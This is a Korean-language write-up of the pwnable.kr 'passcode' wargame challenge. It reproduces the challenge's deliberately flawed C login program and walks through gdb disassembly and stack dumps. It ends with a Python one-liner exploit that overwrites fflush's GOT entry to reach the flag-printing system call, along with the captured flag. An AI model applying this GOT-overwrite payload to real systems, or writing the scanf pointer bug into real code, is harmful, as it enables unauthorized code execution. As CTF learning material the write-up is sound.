Pwnable.kr - Passcode (풀이 봄)
Passcode
1
2
3
4
5
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?
ssh passcode@pwnable.kr -p2222 (pw:guest)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
Solution
Warning을 확인해보니 다음과 같았음.
passcodecheck.c: In function ‘login’:
passcodecheck.c:9:15: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
scanf("%d", passcode1);
^
passcodecheck.c:14:15: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
scanf("%d", passcode2);
^
/usr/bin/ld: cannot open output file a: Permission denied
collect2: error: ld returned 1 exit status
scanf에서 passcode1,2에 값을 입력해줄 때 주소값을 넣어주지 않아서 생긴 경고임.
(gdb) disas main
Dump of assembler code for function main:
0x08048665 <+0>: push ebp
0x08048666 <+1>: mov ebp,esp
0x08048668 <+3>: and esp,0xfffffff0
0x0804866b <+6>: sub esp,0x10
0x0804866e <+9>: mov DWORD PTR [esp],0x80487f0
0x08048675 <+16>: call 0x8048450 <puts@plt>
0x0804867a <+21>: call 0x8048609 <welcome>
0x0804867f <+26>: call 0x8048564 <login>
0x08048684 <+31>: mov DWORD PTR [esp],0x8048818
0x0804868b <+38>: call 0x8048450 <puts@plt>
0x08048690 <+43>: mov eax,0x0
0x08048695 <+48>: leave
0x08048696 <+49>: ret
End of assembler dump.
(gdb) disas welcome
Dump of assembler code for function welcome:
0x08048609 <+0>: push ebp
0x0804860a <+1>: mov ebp,esp
0x0804860c <+3>: sub esp,0x88
0x08048612 <+9>: mov eax,gs:0x14
0x08048618 <+15>: mov DWORD PTR [ebp-0xc],eax
0x0804861b <+18>: xor eax,eax
0x0804861d <+20>: mov eax,0x80487cb
0x08048622 <+25>: mov DWORD PTR [esp],eax
0x08048625 <+28>: call 0x8048420 <printf@plt>
0x0804862a <+33>: mov eax,0x80487dd
0x0804862f <+38>: lea edx,[ebp-0x70]
0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx
0x08048636 <+45>: mov DWORD PTR [esp],eax
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804863e <+53>: mov eax,0x80487e3
0x08048643 <+58>: lea edx,[ebp-0x70]
0x08048646 <+61>: mov DWORD PTR [esp+0x4],edx
0x0804864a <+65>: mov DWORD PTR [esp],eax
0x0804864d <+68>: call 0x8048420 <printf@plt>
0x08048652 <+73>: mov eax,DWORD PTR [ebp-0xc]
0x08048655 <+76>: xor eax,DWORD PTR gs:0x14
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt>
0x08048663 <+90>: leave
0x08048664 <+91>: ret
End of assembler dump.
(gdb) disas login
Dump of assembler code for function login:
0x08048564 <+0>: push ebp
0x08048565 <+1>: mov ebp,esp
0x08048567 <+3>: sub esp,0x28
0x0804856a <+6>: mov eax,0x8048770
0x0804856f <+11>: mov DWORD PTR [esp],eax
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov eax,0x8048783
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov eax,ds:0x804a02c
0x08048590 <+44>: mov DWORD PTR [esp],eax
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov eax,0x8048786
0x0804859d <+57>: mov DWORD PTR [esp],eax
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov eax,0x8048783
0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc]
0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx
0x080485b1 <+77>: mov DWORD PTR [esp],eax
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: mov DWORD PTR [esp],0x0
0x08048604 <+160>: call 0x8048480 <exit@plt>
End of assembler dump.
우선 scanf에는 %d와 변수 주소값 두 개의 인자가 필요함.
scanf 함수를 콜 하기 전 mov로 esp, esp+0x4에 값을 주는데 이것이 바로 위의 두 인자.
위의 내용을 토대로 name의 주소값을 알아보면 다음과 같음.
0x0804862a <+33>: mov eax,0x80487dd
0x0804862f <+38>: lea edx,[ebp-0x70] <- edx에 ebp-0x70 주소값
0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx
0x08048636 <+45>: mov DWORD PTR [esp],eax
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>
(gdb) x/2wx $esp
0xfffa58f0: 0x080487dd 0xfffa5908
$esp $esp+0x4(ebp-0x70의 주소값)
(gdb) x/s 0x080487dd
0x80487dd: "%100s"
(gdb) x/s 0xfffa5908
0xfffa5908: "ababababababababababababababababababababababababababababababababababababababababababababababababcdef"
(gdb) x/50wx $esp
0xfffa58f0: 0x080487dd 0xfffa5908 0xf777bd60 0xf763347b
0xfffa5900: 0xf777bd60 0x099d3008 0x62616261 0x62616261
0xfffa5910: 0x62616261 0x62616261 0x62616261 0x62616261
0xfffa5920: 0x62616261 0x62616261 0x62616261 0x62616261
0xfffa5930: 0x62616261 0x62616261 0x62616261 0x62616261
0xfffa5940: 0x62616261 0x62616261 0x62616261 0x62616261
0xfffa5950: 0x62616261 0x62616261 0x62616261 0x62616261
0xfffa5960: 0x62616261 0x62616261 0x66656463 0x0a060100
0xfffa5970: 0xf777b000 0xf777b000 0xfffa5998 0x0804867f
name
의 위치는 0xfffa5908
부터 시작임.
다음은 passcode1
의 값으로 무엇이 있는지 확인할꺼임.
break point
는 login+39
로 설정함.
(gdb) c
Continuing.
Welcome ababababababababababababababababababababababababababababababababababababababababababababababababcdef!
Breakpoint 3, 0x0804858b in login ()
(gdb) info b
Num Type Disp Enb Address What
1 breakpoint keep y 0x0804863e <welcome+53>
breakpoint already hit 1 time
3 breakpoint keep y 0x0804858b <login+39>
breakpoint already hit 1 time
4 breakpoint keep y 0x080485b9 <login+85>
0x08048577 <+19>: mov eax,0x8048783
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
(gdb) x/s 0x8048783
0x8048783: "%d"
(gdb) x/2wx $esp
0xfffa5950: 0x08048783 0x66656463
(gdb) x/100wx $esp
0xfffa5950: 0x08048783 0x66656463 0x62616261 0x62616261
0xfffa5960: 0x62616261 0x62616261 0x66656463 0x0a060100
0xfffa5970: 0xf777b000 0xf777b000 0xfffa5998 0x08048684
0xfffa5980: 0x080487f0 0x08048250 0x080486a9 0x00000000
0xfffa5990: 0xf777b000 0xf777b000 0x00000000 0xf75e1637
0xfffa59a0: 0x00000001 0xfffa5a34 0xfffa5a3c 0x00000000
0xfffa59b0: 0x00000000 0x00000000 0xf777b000 0xf77b7c04
0xfffa59c0: 0xf77b7000 0x00000000 0xf777b000 0xf777b000
0xfffa59d0: 0x00000000 0xbc2c21bd 0xf4b48fac 0x00000000
0xfffa59e0: 0x00000000 0x00000000 0x00000001 0x080484b0
0xfffa59f0: 0x00000000 0xf77a8010 0xf77a2880 0xf77b7000
0xfffa5a00: 0x00000001 0x080484b0 0x00000000 0x080484d1
0xfffa5a10: 0x08048665 0x00000001 0xfffa5a34 0x080486a0
0xfffa5a20: 0x08048710 0xf77a2880 0xfffa5a2c 0xf77b7918
0xfffa5a30: 0x00000001 0xfffa6dbc 0x00000000 0xfffa6dd4
0xfffa5a40: 0xfffa6dea 0xfffa6dfa 0xfffa6e0e 0xfffa6e32
0xfffa5a50: 0xfffa6e46 0xfffa6e54 0xfffa6e60 0xfffa6ec8
0xfffa5a60: 0xfffa6ee0 0xfffa6eef 0xfffa6f02 0xfffa6f13
0xfffa5a70: 0xfffa6f1c 0xfffa6f30 0xfffa6f38 0xfffa6f49
0xfffa5a80: 0xfffa6f80 0xfffa6fc1 0x00000000 0x00000020
0xfffa5a90: 0xf7792b50 0x00000021 0xf7792000 0x00000010
0xfffa5aa0: 0xbfebfbff 0x00000006 0x00001000 0x00000011
0xfffa5ab0: 0x00000064 0x00000003 0x08048034 0x00000004
0xfffa5ac0: 0x00000020 0x00000005 0x00000009 0x00000007
0xfffa5ad0: 0xf7793000 0x00000008 0x00000000 0x00000009
passcode1
의 값은 0x66656463
로 되어있음.
이번엔 passcode2
의 값을 확인해봄.
break point
를 login+85
으로 하고 실행.
(gdb) c
Continuing.
Breakpoint 4, 0x080485b9 in login ()
(gdb) info b
Num Type Disp Enb Address What
1 breakpoint keep y 0x0804863e <welcome+53>
breakpoint already hit 1 time
3 breakpoint keep y 0x0804858b <login+39>
breakpoint already hit 1 time
4 breakpoint keep y 0x080485b9 <login+85>
breakpoint already hit 1 time
0x080485a5 <+65>: mov eax,0x8048783
0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc]
0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx
0x080485b1 <+77>: mov DWORD PTR [esp],eax
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
(gdb) x/2wx $esp
0xfffa5950: 0x08048783 0x0a060100
같은 입력 값을 주면서 확인해본 결과..
내가 입력한 100 길이의 문자열에서 마지막 4바이트 cdef
가 passcode1임.
문제는 passcode2값이 밑에 보면 ebp-0xc
인데.. 같은 입력 값을 줘도 계속 바뀌는게.. 접근할 방법을 모르겠음.
0xfffa5960: 0x62616261 0x62616261 0x66656463(ebp-0x10) 0x0a060100(ebp-0xc)
0xfffa5970: 0xf777b000 0xf777b000 0xfffa5998(ebp) 0x08048684
ebp-0xc
값을 바꿔줄 방법을 찾아봤지만.. 내 포너블 수준으로는 모르겠어서 풀이를 봄.
풀이를 보니 결국엔 passcode2
의 값을 변경시키기는 어렵다고 판단하고, 조건문 자체를 우회하는 방법을 이용함.
fflush(stdin)
의 plt, got
값을 이용하여 우회를 하였음.
1
2
3
4
5
6
7
8
9
scanf 함수는 입력 버퍼의 데이터를 변환할 수 없으면 입력 버퍼를 그대로 둔 채로 리턴함.
따라서 입력 버퍼에는 여전히 값이 남아 있게 됨.
fflush(stdin)가 버퍼에 남은 데이터를 없애주는데 buffer overflow가 일어나면서
\n 값이 없어서 입력 버퍼에 있는 데이터를 지울 수가 없어서 공격이 되는 듯 함.
fflush(stdin)가 VS 2015부터는 적용 X 이고, Linux에서는 적용되지 않음.
그냥 fflush의 인자로 표준 입력 스트림을 주는 것은 잘못된 방법임.
0x08048593 <+47>: call 0x8048430 <fflush@plt>
(gdb) x/3i 0x8048430
0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004
0x8048436 <fflush@plt+6>: push 0x8
0x804843b <fflush@plt+11>: jmp 0x8048410
(gdb) x/x 0x804a004
0x804a004 <fflush@got.plt>: 0x08048436
got
의 값을 확인해봤더니 plt+6
의 주소가 들어있음!!
이를 이용하면 jmp
를 통해 /bin/cat flag
로 접근할 수 있음.
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
(gdb) x/s 0x80487af
0x80487af: "/bin/cat flag" <- 얘는 값임, 주소 값이 아님.
주소 값은 0x080485e3임!
1
2
3
4
5
6
7
8
9
정리하면 name의 끝 4바이트는 passcode1의 값이 됨.
만약 그 값이 fflush의 got주소라면 scanf 함수에 의해 어떤 값이 쓰여지게 될 것임.
그럼 fflush함수가 실행할 때, jmp 구문에 의해 만약 입력한 값이 주소 값이라면
그 값으로 이동이 됨. -> 버퍼에 있는 데이터가 없어지지 않기 때문에
이유는 fflush(stdin)은 리눅스에서 적용안될 뿐더러 vs 2015부터도 적용 안됌.
또한 fflush의 인자는 출력 버퍼 스트림이 되어야 함.
passcode@pwnable:~$ (python -c 'print "A"*96+"\x04\xa0\x04\x08"+"\xe3\x85\x04\x08"';cat) | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
enter passcode1 : enter passcode2 : checking...
Login Failed!
passcode2가 int형이라서 정수 값으로 줘야함.
passcode@pwnable:~$ (python -c 'print "A"*96+"\x04\xa0\x04\x08"+"134514147"';cat) | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
1
flag : Sorry mom.. I got confused about scanf usage :(
This post is licensed under CC BY 4.0 by the author.